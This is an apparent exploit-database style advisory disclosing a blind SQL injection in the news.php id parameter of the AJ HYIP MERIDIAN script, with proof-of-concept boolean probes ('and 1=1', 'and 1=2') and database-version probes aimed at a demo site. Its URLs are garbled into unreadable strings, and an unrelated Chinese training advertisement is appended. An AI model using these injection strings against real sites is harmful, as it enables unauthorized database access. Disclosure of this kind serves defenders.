AJ HYIP MERIDIAN (news.php id) Blind SQL Injection Vulnerability  

bug found by Jose Luis Gongora Fernandez (a.k.a) JosS  

   

contact: sys-project[at]hotmail.com  

website: 4f1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3S2S2j5$3D9H3N6$3&6Q4x3X3g2U0L8$3#2Q4x3V1k6Q4x3U0k6F1j5Y4y4H3i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7R3`.`.

   

- site: a53K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3q4B7M7%4q4#2j5i4u0W2i4K6u0W2j5$3!0E0i4K6u0r3M7s2u0G2k6s2g2U0N6s2y4Q4x3V1k6S2K9X3S2&6K9i4m8Q4x3V1k6A6L8X3c8W2P5q4)9J5k6i4m8Z5M7q4)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7

   

- about AJ HYIP:  

   

AJ HYIP is a complete financial tool with no technical   

knowledge required to manage the site. AJ HYIP software   

is the latest and most advanced HYIP Script with excellent   

navigation features. Our HYIP Script can be easily customized   

to accustom your needs with a potential to generate heavy revenues.  

   

   

~~ [POC]  

   

5dbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8S2M7X3N6W2N6q4)9J5c8Y4m8S2N6r3S2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1b7I4 [bSQL]  

133K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8S2M7X3N6W2N6q4)9J5c8Y4m8S2N6r3S2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1b7I4 and 1=1  

c95K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4c8S2M7X3N6W2N6q4)9J5c8Y4m8S2N6r3S2Q4x3V1k6F1k6i4N6K6i4K6u0W2M7r3S2H3i4K6y4r3K9h3c8Q4x3@1b7I4 and 1=2  

   

~~ [DEMO]  

   

a3aK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4W2M7Y4k6W2M7W2)9J5c8X3#2W2M7X3W2V1K9h3q4F1i4K6u0r3L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3b7`.`. and substring(@@version,1,1)=4  

febK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4W2M7Y4k6W2M7W2)9J5c8X3#2W2M7X3W2V1K9h3q4F1i4K6u0r3L8X3g2%4M7#2)9J5k6i4m8Z5M7q4)9K6c8X3W2V1i4K6y4p5x3b7`.`. and substring(@@version,1,1)=5

[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课